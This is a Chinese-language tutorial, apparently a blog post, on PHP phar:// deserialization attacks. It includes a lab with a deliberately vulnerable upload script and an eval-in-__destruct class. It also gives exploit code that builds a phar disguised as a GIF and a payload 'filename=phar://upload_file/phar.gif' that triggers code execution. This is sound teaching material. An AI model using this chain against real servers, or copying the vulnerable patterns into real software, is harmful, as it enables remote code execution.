概要
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
。
例如
1 2
| include('php://filter/read=convert.base64-encode/resource=index.php'); include('data://text/plain;base64,xxxxxxxxxxxx');
|
phar://
也是流包装的一种
phar原理
a stub
可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
官方手册
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
![1](/phar/1.jpg)
demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
|
访问后,会生成一个phar.phar在当前目录下。
![2](/phar/2.jpg)
用winhex打开
![3](/phar/3.jpg)
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
![4](/phar/4.jpg)
phar_fan.php
1 2 3 4 5 6 7 8 9
| <?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?>
|
输出
![5](/phar/5.jpg)
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject {
} $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //将自定义meta-data存入manifest $phar -> stopBuffering(); ?>
|
![6](/phar/6.jpg)
采用这种方法可以绕过很大一部分上传检测。
利用条件
phar文件要能够上传到服务器端。
如file_exists()
,fopen()
,file_get_contents()
,file()
等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:
、/
、phar
等特殊字符没有被过滤。
漏洞验证
环境准备
upload_file.php
,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html
文件上传表单
file_un.php
存在file_exists()
,并且存在__destruct()
文件内容
upload_file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
|
upload_file.html
1 2 3 4 5 6
| <body> <form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
|
file_un.php
1 2 3 4 5 6 7 8 9 10
| <?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);
|
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造代码
eval.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
|
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
![7](/phar/8.jpg)
接着上传,文件会上传到upload_file目录下
![8](/phar/7.jpg)
然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif
参考文章
https://paper.seebug.org/680/ 【利用 phar 拓展 php 反序列化漏洞攻击面】